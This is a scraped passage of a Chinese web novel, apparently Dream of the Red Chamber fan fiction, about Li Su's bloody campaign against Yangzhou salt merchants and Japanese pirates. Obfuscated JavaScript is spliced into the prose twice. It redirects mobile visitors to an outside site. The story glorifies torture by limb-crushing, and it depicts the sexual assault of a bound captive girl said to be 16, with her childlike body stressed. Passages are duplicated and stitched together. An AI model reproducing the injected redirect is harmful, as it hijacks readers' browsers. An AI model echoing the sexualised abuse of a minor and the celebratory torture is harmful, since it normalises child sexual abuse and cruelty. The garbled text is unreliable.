李素冲她竖了个大拇指,随后对林如海道:“师父,兵贵神速,我去拿人追凶。” “小子,我和你同去,大周律不可私设公堂。” 高玄举起身。 林如海知道高玄举这是在帮忙了,起身行礼:“如此,多谢高大人了。” 他们带兵围了孙家的时候,孙家还一无所知,孙母也不知道自己竟然让女儿,办了这么大的事儿。 她丝毫没有隐瞒,是有人给了她银子,让她女儿送东西给自己主母,她也怀疑过,甚至那香她还偷偷点了,找人问了,是上好的檀香,没有任何问题。 出了孙家,高玄举苦笑。 “好家伙,这扬州的盐商真他娘的……草蛇灰线,三年前就布下了局,现在突然就动了,防不胜防啊,现在咱们就只能指望这画像能有用了。” 李素拧眉:“如果这人找不到?……不行,必须把这狗日的抓出来!” “老夫这就下海捕文书!” “不,大人,把这画像给我,你不要打草惊蛇!” “你拿去怎么找?” 李素拿过了画像:“这还须从他们内部查啊。” “你是说那个墙头草宋家?” “哈哈哈……大人精明!”李素翻身上马,一拱手就窜了出去。 高玄举吹胡子瞪眼冲他大骂:“是英明,你这混账!” 宋家。 宋出云拿着李素递过来的画像,皱着眉头想了半天:“有点儿印象,他下巴上的痣,有印象,一时有些想不起来。” “有印象?”李素一喜。 “有。” “老爷,这,这是吴有仁啊,吴家的大管家吴有义的兄弟!” 李素目光一缩,伸手薅住了宋管家的衣襟:“你确定?吴家?!!” “是,小的确定!” 宋出云也惊到了:“真是,我想起来了,见过这狗东西!” “吴家今夜除名!” 李素说完就往外走。 宋出云紧走两步,拽住了李素:“老弟,老弟,三思,如果是吴家……” 李素笑了,舔了舔有些干涩嘴唇:“大侄子你有所不知,老冤家了,不就是有个太妃,有个王妃么?老子有钦差啊!” “别胡说,谁是你大侄子,我都快六十了。” “哈哈哈,我叫令尊哥哥,你想跟老宋同辈?” “我……” “给我盯紧了吴家和其他家,这回如果弄好了,你宋家就可以光明了。” 李素说完就翻身上了照玉狮子,打马而去! 宋出云看着李素远去的身影,仿佛感到血液沸腾了起来,这就要闹大了,得赶紧去跟自己的父亲禀报! 时 间快到子时,林府前院正堂,灯火通明。 高玄举、林如海、李素还有飞狐林忠等人都在,甚至盐丁的头子季宗也来了。 “季头儿,你有没有一个兄弟,叫季宗礼的?” “小爷,真没有,您都问了我三遍了。” 李素一脸的可惜:“你那亲戚可是神京龙禁卫的头儿,你看看,人家就比你多一个字儿,官位可比你高十八个级了,你真不考虑再加个字儿。” 季宗苦笑:“不加了吧,我老季就打算在盐院跟大人了。” “你倒是会守着领导拍马屁,我都替你想了几个了,比如季宗义,季宗仁,李宗仁……”李素扯淡未止。 威武营头领历虎步履匆匆进来:“小爷,有信儿了。” “人在何处?” 李素豁然起身。 “咱们的人盯着,此刻正在吴家。” 李素大喜:“飞狐叫人,立刻给我围了吴家,历虎跟我先行一步,没我的命令不允许放走一人。” 高玄举起身:“等等,妙言,让我钦差行辕侍卫来做这件事,老夫不是跟你争功,而是名正言顺,合理合法。” 林如海摇头,眼中精光闪烁:“不不不,妙言的兵先动抓人拿人,盐丁后动闹声势抄家,这前面就不合律法才对!高大人的侍卫埋伏暗中最后动,前面钓鱼,高公最后一网成擒。” 高玄举听完后,仿佛才认识林如海一般。 如果这么弄,很可能把吴家这条线儿上江南的官员全都钓出来了,毕其功于一役! 这才是真的林如海吧,不动就如如玉君子,一动就是雷霆万钧! 而自己跟他一比,就是个不会拐弯儿的炮筒子。 怪不得皇上放心把他放到江南这错综复杂的环境里。 “徒儿得令,先行一步!” 李素逗了趣儿,拎起宝剑,转身就往外走。 很快到了吴家以后,李素傻眼了,这特么也太大了,仔细勘察一圈儿,光门就有八个。 于是开始分兵,二百人的威武营,留下一百九十人让历虎带人堵门。 剩下十人由他自己亲自率领,进府捉人。 威武营此时按照特种兵训练的成果就显现出来了,有的掏出了飞爪攀墙,有的叠人翻墙,很快一行十余人潜入了吴家。 只好不断地抓人逼问,不多时,就找到了吴有仁的所在,李素摸到了他的房间。 还没进去只听里有嘤嘤的哭声,接着传出一个有些阴沉的声音:“你也不想你家爷们儿有事吧?” 李素最听不得这个,一脚踹开了门。 “她夫君有没有事,老子不知道,但你肯定有事儿了。” 李素进门后,只见床铺上一个男人正掐着一个衣衫凌乱的女人的脖子,男人面相普通,一说话下巴上的大痦子也跟着抖动,这痣增生了? 看见李素进来,吴有仁大怒道:“你是谁?敢坏老子的好事儿!” “吴有仁,你的事儿发了,老子是飞鱼卫!” “我……” 吴有仁吓呆了,自己何德何能?干了什么惊天动地的大事?值得飞鱼卫抓自己? 就在他愣神儿之际,李素飞身过去一拳打晕了女人,其余人迅速摁倒吴有仁,塞上了他的嘴。 李素一挥手。 威武营的手下拿起手中棍棒对着吴有仁的肘内、腕侧、踝外、肋下、膝外等部位就持续打击起来,吴有仁呜咽着,全身不由自主地开始抽搐。 一如李素当初收拾贾雨村,这就是传承。 直到吴有仁泪流满面,面带哀求,才停了下来。 李素拔掉了他口中的破布,用剑抵住他的咽喉:“让孙家给林府送香炉、送檀香的事儿你办的吧,谁指使的?” 第157章 江南兵变 “不说,你就死,说了留你一命!” “我……我说,是我大哥,吴有有,有义。” “人在哪儿?” “我说,我说……我带你们去!” 李素把他的嘴巴塞上,押着他出了门,拐了一箭之地,到了一处屋外。 只见里面灯还亮着,李素戳破窗户纸往里瞧。 床铺上一个男人正掐着一个衣衫凌乱的女人的脖子,声音阴沉狞笑:“你也不想你家爷们儿有事吧?” 李素冲吴有仁竖了个大拇指。 “你们他娘的真是亲兄弟!” 说完来到房门前,一脚就踹开闯了进去。 吴有义被抓,同样扛不住李素的手段也招了,指使他的是吴家的大爷吴家轩,吴家家主吴安良的大儿子。 吴家轩并没在府内,而是在外宅,李素让人把两个女人绑好塞口,就出了吴家按照吴有义的指引去抓吴家轩。 李素抓吴家轩的时候他正在自己外室的院子里胡天黑地,而一起胡天胡地的除了他,还有两个小厮几个女人。 把他们全部拿下后,开始审讯黄轩,这个家伙看起来好色无度,没想到却是个硬骨头。 李素乐了。 “好好,老子倒要看看你骨头有多硬,摁住他!” 李素一声令下,四个大汉按住了吴家轩的四肢,被塞住嘴巴的吴家轩奋力挣扎,就在他的目光中,李素手拿石块用力砸向了他的脚。 只听啪的一声,吴家轩鼓着眼睛就晕了过去。 再看吴家轩的脚,已经被李素这一下给砸扁,成了肉酱。 “弄醒他!” 一盆凉水泼上去,吴家轩悠悠的醒了过来。 薅掉他口中的布,李素戳了戳他脸笑道:“孙子,看看你的脚,招还是不招?” 吴家轩惨叫,睚眦俱裂向李素怒吼:“妈妈的,有本事弄死我,老子从没下过……没下过毒害林,林家的令!” “如你所愿,继续,你们来,这他娘的血池呼啦的。” “小爷,看我们的吧。” 几个大汉乐呵呵的拿过了石块儿。 直到一条腿膝盖以下,骨头全被砸成了渣子,吴家轩再也扛不住,招了。 安排这一切的正是他爹,吴家的家主——吴安良。 李素把三人全部绑回了林府已经到了丑时,他拿着三人画押的口供,给了林如海和高玄举。 “妙言,这怎么没有盐商的腌臜事儿?” 李素咧嘴一笑,搓了搓下巴:“高大人,那不归我管,您继续审,我现在要去报仇了!” “记住,围而不攻,直到他们底牌尽出!” 李素没有回头,向后挥了挥手。 到了门口他突然顿住回头道:“高大人,记得安排人送水送饭,估计时间短不了……额,算了还是让林忠安排吧,您的人不能先动,回头给我们林府报销银子就行了,走了!” 高玄举气的拿起杯子就砸了出去。 林如海哈哈大笑:“这杯子也算银子!” “如海,你?……学坏了啊!” 高玄举吹胡子瞪眼。 林如海再次畅快的笑了起来。 烟花升空。 威武营堵紧了吴家的八门。 巍峨耸立、气势恢宏的吴府正门前,李素面沉似水地站定身形,他猛地一挥右手。 得到指令后的历虎如同下山猛虎一般,领着身后一群如狼似虎的手下,风驰电掣般冲向了吴府大门。 “砰砰砰”一阵巨响,历虎等人手中的棍棒、铁锤等物朝着朱红色的大门狠狠砸去。 每一下撞击都震得门上的铜环嗡嗡作响,木屑四溅。 吴府,鬼哭狼嚎之后, 吴安良被人扶着,从破碎的大门里出来了。 “我认识你,林如海的门徒,朝廷新封的子爵,花园子爵。”阴沉着脸的吴安良说到这里,嘴角勾了勾。 “我不认识你,但你是害我师父的主谋,毒害朝廷命官,你该死!” “哈哈哈……一派胡言,你有证据吗?你纵兵祸害皇亲国戚,这是造反!来人,去报官,就说有人造反,对我吴家烧杀淫掠!另外,把府里的小娘们儿奸死十个,扔出来!” 吴安良狞声说完,身后的人就冲出十余人,同时有两人往府里跑。 李素一摆手:“让他们去,里面的打死!” 威武营没管往外跑的吴家仆役,冲过吴安良把往里跑的人拿了下来,随后围住了他。 “妇人之仁,哈哈哈,你完了,李素!” 李素撇撇嘴不置可否。 “我等你的救兵!” 他这模样,让吴安良内心一阵不安,太有恃无恐了,但事情已经到了如此地步,没有退路了。 但想了想自己妹妹吴太妃,自己的孙女楚王妃,心又放了下来。 吴家被围,顿时震动了扬州其余除了宋家以外的五大盐商,但听说是李素纵私兵围的吴家后,他们的心又放了下来。 他们不知道的是,他们已经被高玄举的人盯了起来。 最先到来的是扬州知府,不配有姓名的知府带着知府衙门的兵,挡在了吴安仁的前面:“李素!你大胆,豢养私兵无故攻打良善之家,罪大恶极,视同谋反,还不束手就擒!” “你考虑清楚,吴安仁谋害巡盐御史,你确定要为他张目?” “你如有冤屈可致我知府衙门递状子,再不济你可以去巡抚衙门、刑部、大理寺,但私自纵兵就是谋反!” “谁说我私自纵兵了?” 李素说完,只见季宗带着盐兵进场了。 “巡补营受我盐院委派捉拿贼凶吴安良,闲杂人等退去!” 盐兵的到来,惊起了轩然大波,决不能让吴安良这样倒下,他知道的太多了,从扬州到金陵全部动荡起来。 先是海门、泰州、镇江、泰州一线出现了倭寇入境。 而李素被两江总督衙门,一纸公文定性成了倭寇同伙,在扬州造反呼应倭寇入侵。 李素拿着林忠送来的公文,都惊呆了,自己的身世都被蒙个正着! 【李素其人,乃盐枭李固之子,先盗我朝盐税,后纵兵掳掠江南,黎民百姓无不受其苦,致使长江沿岸十室九空,今又联合倭寇纵兵扬州,害我扬州首善吴安良,此令我江南无论官民击杀之,官升三级,民赏十万!】 两江总督赵凌川同时下令江北大营大军开进扬州,围剿李素。 这让高玄举目瞪口呆。 他坐不住了,他立刻下令江南大营出动,护住李素,同时勒令赵凌川和江北大营的参将习远撤下江北大营,而赵凌川就当没看见钦差行文。 江北大营同样当没看见。 随后江南大营与江北大营在吴家前面对峙起来, 整个江南全部动荡了起来,无论官民惶惶不安,扬州城更是百业全息。 吴府前面。 江南大营参将钟彪,在李素耳边道:“不对啊,素爷,这江北大营哪来这么多兵?竟然比我多一倍。” 李素面色沉重:“应该是有人混了进去,给你亲家的信送出去了?” “早送了,得到你的信儿就送了。” “那就妥了!” “老子真会升官儿?为何不让钦差行辕直接下令?” 李素摇了摇头:“钟将军你看看杨间,他不就是听我的升了昭勇将军?钦差行辕被人盯着呢,出其不意才能一鼓而定。” 杨间此时在开往扬州的战船上,手又拿出了钟彪的信,只见上面写着:你该出兵帮老子了,钦差行辕的公文,到扬州来拿,你不来,我儿子就打媳妇! 随后苦笑一声,又收了起来。 自己当初上京让钟彪帮忙,还有钦差的公文呢,现在到了自己连公文都没了。 他知道,自己的亲家肯定又被李素忽悠了。 这时副将来报:“将军,前面就是扬州了。” “加速!” 林府中,高玄举坐不住了。 “如海啊,老夫错了,早知道形势如此险峻,就不该逼你了。” 林如海笑了笑:“高大人,此时说这话已经晚了,现在双方的剑亮完了,我们现在要把他们全部一网打尽才是,咱们去吴家吧。” 吴家此时已经被围的里三层外三层。 吴安良冷笑的看着李素:“小子,如何?你完蛋了,知道么?因为你整个江南生灵涂炭。” 李素耳朵动了动,忽然笑了,对吴安良道:“这事儿我有准备,但那又如何,我完蛋之前,先死的是你!” 话音刚落,他身形忽地一闪,如鬼魅般向前突进。他出手快如闪电,瞬间便准确地拿住了吴安良的手腕。 紧接着,李素猛地发力,顺势向后一扭。只听得“咔嚓”一声脆响,吴安良的手臂竟硬生生地被扭到了身后! 断了! 吴安良惨叫一声,李素两边的威武营好汉瞬时过来绑住了他,其余人冲向了吴府的家兵,举棍就砸。吴府门前顿时乱做一团。 等吴府家兵全部被打倒,李素一挥手,大喊一声:“进吴府抄家!” “李素,你住手,给本官拦住他。 ”扬州知府急了。 江北大营参将习远大吼:“李素你敢!弓箭手准备射杀反贼!” 钟彪抽出了手中的刀,对着江北大营的队前喊道:“习远,我日你奶奶的,你住手,江南大营听令,江北大营的叛贼若动,给老子杀!” 第158章 无法无天 席元向一旁道:“赵大人,怎么办?” 赵凌川眼睛眯了眯,看向了身侧一个穿黑衣,头戴色头蓬的人。 黑衣人低声道:“没有退路了,赵大人,打吧!” “赢了怎么说,输了怎么说?” “赢了当然无事,我们或占据江南,积蓄势力,待时机成熟北上夺取这大好江山,或把这一切推给倭寇,若输了保你赵家子孙万代,福运绵长,若抢不出吴安良,咱们断子绝孙,死无葬身之地矣!” 赵凌川摇了摇头:“保我还不够,还有席家,你甄家真能做到?” “可以,可不止我甄家,附耳过来,我给你交个底。” 赵凌川听完不可思议道:“竟还有孔……” “噤声!” 赵凌川低声道:“我家江南苏州十万亩田能保住?” “你若死,再给你家五万亩,但都不在你家名下,你的子孙也要改姓。” 赵凌川咬了咬牙:“打!” 席元大喝一声:“杀贼!” 顿时万箭齐发射向了江南大营! 弓弦炸响,钟彪立刻疯了,这群王八蛋真敢动手! 大喝一声:“盾阵!” 前军第一排的盾牌顿时竖了起来,随后第二排上前,在第一排盾的上侧又架了一层,顿时组成一堵两米多高的盾墙。 而李素已经押着吴安良退进了吴府大门之内,躲在了墙后。除了李素的人外,其余的盐兵全部冲进了吴家开始抄家拿人。 第一轮箭雨过后,李素把吴安良交给威武营,猫腰窜到了钟彪身边。 “行不行?” “难说,他们的人太多了。” “给老子套两层甲。” “千万别过来!你赶紧给我回去!” 钟彪一边大声呼喊着,一边迅速举起手中厚重的盾牌,毫不犹豫地带领着手下的士兵们向着前方如潮水般涌来的敌人冲了过去。 李素无奈,抢过了一个盾牌冲了上去。 只见江北大营密密麻麻的长枪兵,迈着整齐而有力的步伐,枪尖闪烁着令人胆寒的寒光,气势汹汹地杀奔而来。 刹那间,喊杀声、金属撞击声响彻整个战场,双方瞬间就陷入了激烈的混战之中。 李素力大,他用盾牌猛力地格挡着敌人刺来的长枪,同时挥动手中的大黑剑,不断砍向那些企图靠近自己的敌兵。 一剑下去,断手断脚,要么被腰斩,惨烈无比,就好似一个杀人机器。 在他身后的士兵们见状大喜,掩护着李素的侧翼,互相配合着抵御敌人的进攻。有的人负责用盾牌抵挡长枪的攻击,有的人则趁机抽出武器反击。 以他为首竟然打起了个反冲锋。 钟彪看着一切,愣了愣,这也太猛了。 一时间,战场上刀光剑影交错,鲜血四溅,战况异常惨烈。 后面的席元和赵凌川见状,有点急了。 “不能拖下去,上火铳兵!” 席元点点头,正要下令,就听外面有人大吼:“钦差驾到,江北大营收兵跪地!” “钦差驾到,江北大营收兵跪地!” 见自己的兵开始犹豫了,席元面色一变:“赵大人,怎么办?” “打,我等已无退路!” 席元大喊道:“江北大营听令,我是席元,有人冒充钦差,给我杀,火铳兵进!” 外面的高玄举见江北大营丝毫不理会自己,开始有兵向着自己这边来了,气的他脸色都白了。 哆嗦着手指着江北大营:“无法无天,无法无天!无法无天啊如海!” “高大人,您看!” 林如海伸出右手,朝左前方一指。 高玄举随着他手指的方向望去,只见远处尘烟滚滚,马蹄声如雷般轰鸣作响。 眨眼间,一支庞大的兵马队伍如同汹涌澎湃的潮水一般席卷而来,旌旗飘扬、刀枪林立。迅速向着这边逼近,所过之处,大地都仿佛为之颤抖。 弓弦炸响,一阵箭雨飞出,瞬间撕破了空气射向了江北大营。 江北大营顿时乱了起来。 高玄举怔怔的看着这一切:“如海,这是哪来的兵,你叫来的?” 林如海摇头:“我猜大概是杨间带兵来了,定是素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哈哈哈,那是老夫监管着那些官儿干的,不然你以为那群王八羔子会弄成什么样?窄一半都是好的。” 林如海看了看现场的情况,杨间已经往这边走了,江北大营全部缴械跪地,出言打断他们的闲扯。 “高大人,咱们过去吧,前面已经平复了。” “好,走。” 杨间到近前沉声道:“高大人,林大人,两江总督赵凌川、江北大营参席元被杀身亡。” 第159章 桃乃夫人(求月票) 高玄举急了:“你把他们杀了?” “不是我们杀的,是另有其人。” “人呢?” “不知,江北大营士兵交待,是几个黑衣人,趁乱已经跑了!” 高玄举看了看天色,无奈道:“劳烦杨将军派人封城吧。”此时扬州官场已乱,想封城查人还得靠江南大营和松江卫。 “末将这就去办。” “等等,再出一些人,把其他五家盐商给我抄了!” “高大人,我的人可不够啊,还得去剿匪呢,倭寇祸乱长江沿线,那是属下的职责,若不剿朝廷问责,属下可吃罪不起。” 杨间眼睛一亮看向了李素。 “素哥儿,你帮帮我,我可是帮了你。” “行,给我情报和向导。” 他扬州这些已经扩充到五百人的威武营,还没有正经打过仗,今日也就十几个跟他堵吴家正门,其他的都在另外的门口守着。 “现成的。” 李素带着历虎和整个威武营率先杀奔了镇江。 接下来的李素忙着绞杀倭寇,高玄举则忙着抄盐商的家,抄官员的家,江南翻天了,从扬州一直波及到了金陵,往南江西福建的官员都有不少落马。 整个江南为之一肃。 松江口。 历虎一刀砍死了最后一个倭寇。 剧烈喘息着,一屁股坐在了李素的身边:“真他娘的,灭了五路贼寇,只有这最后一路是真倭,看样子还没出去祸祸老百姓。” “那些假倭十有八九都是黄四郎养的麻匪。” 这时忽然有人跑来喊道:“小爷,小爷,发现一个被倭寇绑票的女人,好像也是个倭人。” “走,去瞧瞧。” 李素带着历虎就往林子里走,弯弯绕绕往深处走了约么半里路,只见一个小型的瀑布,细看瀑布之后,是一个山洞停了下来。 水帘洞? “小爷就在这洞里。” “不错,你们搜的够深!” 士兵立正,大声道:“威武营条例:五百人以下贼营索查一里!” “执行的不错。” 李素拍了拍他的肩膀,跟历虎就进了山洞,洞中点着篝火,四周堆了十几口箱子,还有些盆碗炊具。 地上草堆里倒着一个女人,被绑成了个粽子样儿,绳子的花样儿让李素不由的乐了。 他熟悉。 李素走过去,看女人穿的衣服就是倭人,那带个小包袱的款式,布料和手工都很考究,就是脏兮兮的。 与其说是女人,不如说是女孩儿,大约也就一米二三的身高,纤细小巧,长相精致,一双水灵灵的眼睛看着李素,并没多少害怕的情绪。 李素薅掉了她口中的破布,女孩儿大口呼吸了一会儿,随后看着李素也不说话。 “你滴什么滴干活?” “松下裤带子,见过天朝大人。”一开口汉语还很流利,比历虎都标准。 “假名字!” “大人明鉴,我叫自带被子。” “不老实啊,狗屁自带被子,明明就是桃乃木香奈,你几岁了,从哪里来?” “京都人,十六岁。” “十六岁?本大人要检查一下。” 李素摸索着下巴朝历虎使了个眼色,历虎带人退出了山洞。 “退远些,老子要洗个澡,!” 他蹲身在自带被子身上摸了一会儿,找到了绳扣儿,轻轻一扯,只见在自带被子身上缠的跟花一样的绳子瞬间脱落。 随后把被子姑娘身上的小被子全部扯开,李素怔了一下:“你果然是老实人,十六没错了。” 随后拎着小白羊就出了山洞。 “冷~大人。” “洗干净就让你热。” “真轻啊,五十斤有么?” 不多时,他拎着瑟瑟发抖的自带被子就回了山洞。 “老子教你一首歌儿,你跟着唱。” 缩在李素怀里的自带被子,哆嗦着点头。 “大刀向鬼子头上砍去,预备唱。” “大刀……向鬼子头上砍去!” “很好,每一颗子弹消灭一个鬼子!” “……每一颗子弹消灭……啊!” 最后,像破布娃娃一样的自带被子晕了过去,李素把她包裹起来放到了篝火旁,看着地面上已经浸湿了土地的血渍,摇了摇头。 过了一会儿自带被子醒了过来。 “你到底叫什么?” 她挣扎着爬起来跪下:“大人,我叫乃香子,我的父亲是天皇代 仁。” “不说谎了?” “大人是我的男人了,是我的天,我的父,我的神恩,从此我有了姓氏。” 李素点头:“嗯,说说怎么回事儿吧。” 乃香子道:“天皇将我嫁给关西大名,途中被德川幕府的人抢了,最后不知为何被劫到了天朝。” 李素乐呵呵的看着她:“看来你爹想干掉幕府了,不过幕府篡权,乃大逆不道,我会带兵讨伐他的,乃香子你会怎么报答我?” “乃香子的一切都是大人的。” “你就是我的条狗。” “ 汪!” “哈,来,再唱一遍,每一颗子弹……” “消灭一个敌人……啊。” 乃香子死了过去。 李素打开那些箱子顿时被亮瞎了眼,全部都是黄金和名贵珠宝,银子都没几块儿,这特娘的到底是谁的财货? 在最后一个箱子里,李素发现线索,他把一摞信翻看完,沉默了许久,又把信放了回去。 走出山洞唤过来历虎。 “虎子,挑一些人,跟着乃香子,就是山洞里那个女人,去抢倭国,做祸乱倭国的倭寇,另外江南还有些家子顺便拾掇了。” “女人?不是个孩子么?” 李素抬脚就踹了他个跟头。 “你以为你家小爷会祸害孩子?她十六了,就是长的小,绰号小只马,他们那边都这么小,她是倭国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947439|160843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的公主。” 历虎爬起来嚷道:“我的娘啊,那不就是个小人国?老子今日打真倭还以为赶上了一群小矮子,原来都这么矮啊。” “嗯,那边儿有两座山,一座金山,一座银山,提前给我摸清楚了,那都是咱的。” “素爷,让郑秃子带着人干吧。” “行,你把郑鱼叫来。” 历虎点头出去了。 李素转回去,又看了看乃香子,这是个稀有的生物啊,心里琢磨了一下,下决定再修整两天。 三天后,乃香子泪眼婆娑的看着李素哭。 “我的主,我一定会完成好任务,只是不能侍奉在主的身边,香子很惭愧。” “我与你同在,香子,放心我们很快会相聚的。” 郑鱼跪了下去:“小爷放心,我必保护好香子夫人。” “好。” 李素拍了拍他的肩膀,在他耳边低声道:“她不一定和咱们一条心,你看好她,兄弟们的安全为主,海上也没好东西,遇见海盗就除根儿。” “知道了小爷,家里父母就劳烦小爷看顾了。” “放心,你两个兄弟会随我进京入兵马司衙门当差。” 最后他又把乃香子抱过来:“努力吧香子,我很快去解放你父皇的,你好好做,给幕府多找点儿麻烦。” 不久之后,海上就出现了一个名为桃乃夫人的海盗,但谁也没见过他们的样子,因为见过的都死了。 李素让郑鱼带走了四百人,身边就剩下了历虎和十名老兵。 “你别酸了,你在扬州还不是想要多少有多少?秃子可不好补充人手。” 历虎不舍:“可惜了,刚练出来就给郑秃子带走了。” “老爷子那边儿的兵源还得靠你呢,咱们去见见他。” 李固没想到儿子会来松江口。 见到李素后,简直像做梦一样。 船舱里李素挡开李固的大手:“爹,别掐了,是真的,你最近没听说有兵剿匪打倭寇么?就是你儿子干的。” 李固哈哈大笑:“哈哈,好,好,壮实了许多,真好啊,老子……额,老爷我听说那些倭寇烧杀抢掠后,都打算带人去干他们了。” 李素看着李固的模样吐槽:“爹,你这独眼龙的扮相儿能不能换了,整的跟加勒比一样。” “啥比?” 李固见儿子不喜,把独眼龙的头套摘了下来。 “虎子出去一下,我跟老爷子说会儿话。” 历虎点头出了船舱。 李素拉着他坐了下来。 “儿子,你也坐,你是想知道咱的买卖么?现在已经南洋已经占了一大块地,足有江苏那么大,哈哈哈,那些南洋猴子被你爹打的屁滚尿流……对了,你要不要娘们儿?就是有点儿黑,也有好看的,挺滑的……” “我不要,爹,爹,你的事业慢慢来,不着急,你看看这个。” 李素从脖子里掏出了两块阴阳鱼玉佩。 李固眼睛一缩,惊声道:“你找到了你姨娘?” 第160章 你高兴的太早了 李素大喜。 “爹,原来你知道这玉佩的来历?你不是说我娘失忆了么?” 李固叹了口气:“你高兴的太早了,你娘就临死之前,清醒了那么一会儿。” “她说了什么?” “她说这玉佩留给你,你姨娘也有一块儿。” “没了?” “没了!” 李素很无语,这遗言有什么价值?完全没有,现在就是又确定了一遍,秦可卿是自己的表姐,早猜到了。 “你快说,你是不是找到你姨娘了?” “准确的说,应该是姨娘的孩子。” “在哪?” “京城,姨娘不在了,是表姐,现在是宁国府承爵人的媳妇。” 李固大喜:“国公府?这亲戚硬是要得啊……儿子,这你要多走动,将来对你的前途,对了,爹回头给你带南洋特产……对了,你是怎么发现她这玉佩的?” “她逛街掉地上,我捡到了。” 李固眼睛眨了眨。 “神京的娘们儿都能随便出门逛街了么?太可怕了!” 李素没有往下解释,太复杂,也没太大必要。 他在松江口又待了一天,帮李固梳理一些规划,看了他船上的炮,跟李固交待了继续抓传教士后,就往扬州赶。 瓜洲渡口,高玄举、林如海、杨间、钟彪带着一些不认识的小官儿迎接他。 随着李素肃清了长江一线的匪乱,百姓安居,这次江南的动乱也进入了尾声。 李素下了船。 高玄举正要上前说话,钟彪闪身出来了,高声道:“花园子爵李素接旨!” 众人吃惊的看过去,没想到众人之中还藏着个老六。 钟彪毫不理会众人的目光,也不管李素跪没跪,自顾的说了下去:“你这混账,手里有兵就惹祸,你的威武营就别留在手里了,即日起归江南大营统领,你给朕滚回京里来,钦此!” 这圣旨虽然特别不正经,但这就像骂孩子一样口气,让现场的官儿艳羡不已。 “李花园,你接旨不跪,此大不敬之罪,我要弹劾你!” 一个年轻的官员梗着脖子怒视李素。 李素一愣:“这,哪来的?” 杨间笑道:“高大人的手下,监察御史。” 李素不理会这种二愣子,伸手从钟彪手中接过圣旨:“钟将军,我威武营你要?” “要啊。” 李素向后喊了一嗓子:“威武营出列!” 随后,十个大汉雄赳赳的站在了前方。 “还有呢?” 钟彪向后看。 “没了,打光了啊……高大人,你要给我抚恤,我五百兄弟就这么没了!” 高玄举不可置信,李素的兵能打,他是有所耳闻的。 “妙言,竟如此惨烈?你没事儿吧,你的抚恤银子,我奏请圣上加倍,这次江南沉疴旧病为之一清,不缺银子!” “高大人,那可是五路倭寇啊,两三千人都全歼,快递回来的尸体你看到了吧,我能活着回来都是侥幸。” 李素说完给林如海行了一礼:“师父,师娘怎样了?” 林如海拍拍他笑道:“放心,已经醒了,现在除了瘦了些其余无碍,我来时她正念叨你呢,快回府吧。” 钟彪纠结起来,看着这十个人,一时间拿不定主意要还是不要了。 “亲家,放弃吧,总不能连人家几个护卫也给弄走吧。” 杨间在他耳边嘀咕了一句。 “只能如此了。” 回到林府,李素见了贾敏和黛玉,又是一番热闹自不待言。 接下来的日子李素没再出门儿,跟黛玉一块读书练武,贾敏的身子也越来越好,逐渐恢复到了原来的模样。 但暗藏府里的奸细还是没有捉出来,这事儿一直在众人心头压着。 二月二,龙抬头。 扬州的天气已经开始转暖,北方依然寒冷,运河尚未解冻,李素也没有动。 林如海跟高玄举忙的脚不沾地。 江南的余波尚未平复,此次江南盐商除了早就投诚的宋家,已经覆灭的黄家,剩余吴、汪等六家全部被抄家拿问,牵扯出来的江南官员到现在已经有一百多个,就连飞鱼卫南镇抚司指挥使都被牵扯了进去,抓出的官员中官职最高的是从一品两江总督赵凌川。 经审讯,这些盐商和官员勾结,走私、杀官、侵占民田、包揽诉讼、制造冤狱、草菅人命、强抢民女、肆意杀人。 消息通传天下,所有官员为之噤声,雍和帝的权力再次 得到了巩固,但更大的暗流又开始了涌动。 高玄举酷吏、血手屠夫之名、江南同僚一路哭等各种信息开始私下流传。 也在这一日,飞鱼卫北镇抚司同知路不平带人南下了。 职务是暂领飞鱼卫南镇抚司指挥副使,职责是清洗飞鱼卫南镇抚司同时协助高玄举彻查江南盐案,骑在马上的路不平掏出了脖子上挂的李素牌牌,不由得亲了一口。 随后又觉得好像不敬,双手把牌子托在手中,冲着南方拜了拜。 宋家的后宅。 李素跟身形佝偻的宋堪 ,各自躺在一个椅子上,两人身侧各有两个貌美如花的瘦马捶腿按肩。 家主宋出云在一旁面色不大自然的陪着两人。 “老哥哥,我听出云说,你一夜还能要俩小娘?” 宋出云急了:“父亲,你别听他胡说!” 宋堪干瘦的身子动了动,笑了。 “哈哈,出云不会这么说,老夫还想多活几年。” 李素白了他一眼:“那你应该找俩五十岁的伺候你,人家那么小以后还怎么嫁人?” “五十岁的还能叫女人?再说,都成家了,再叫人家伺候才是祸祸人家……唉,说正经的,这次老夫真是心有余悸啊,幸亏当日你答应请托才避过了大祸,今日请你来是跟你表个态,我宋家唯你李素马首是瞻,凡是宋家有的你随意拿取。” 李素坐正了身子:“老哥,你跟我说实话,当初为什么就认定了,我们能赢?” 宋堪沉默了一下:“因为皇帝。” “皇帝?” 宋堪想了想:“嗯,陛下是聪明人,是心里装着天下社稷的聪明人,更是一个狠人,老夫听闻陛下每日里只睡两三个时辰,对自己狠,对别人更狠。” “这种人执掌乾坤,那些阴私事儿注定有一天会被挖出来,无非早晚,所以老夫早就开始退出盐事,直到你的出现才有了弃暗投明的契机。” “这种人一般不长寿。” “但子爵大人,你还年轻,这就是宋家的未来。” “哈哈哈,我先走了,高老头儿让我去找他一趟。” 李素长身而起。 “出云送一下。” “劳烦大侄子了!” 宋出云无奈:“你叫我名字都行,能不能别叫我大侄子?要不,这俩瘦马我给你打个包?” 两个女孩听了,期待的看向了李素。 李素大喜。 “爹,原来你知道这玉佩的来历?你不是说我娘失忆了么?” 李固叹了口气:“你高兴的太早了,你娘就临死之前,清醒了那么一会儿。” “她说了什么?” “她说这玉佩留给你,你姨娘也有一块儿。” “没了?” “没了!” 李素很无语,这遗言有什么价值?完全没有,现在就是又确定了一遍,秦可卿是自己的表姐,早猜到了。 “你快说,你是不是找到你姨娘了?” 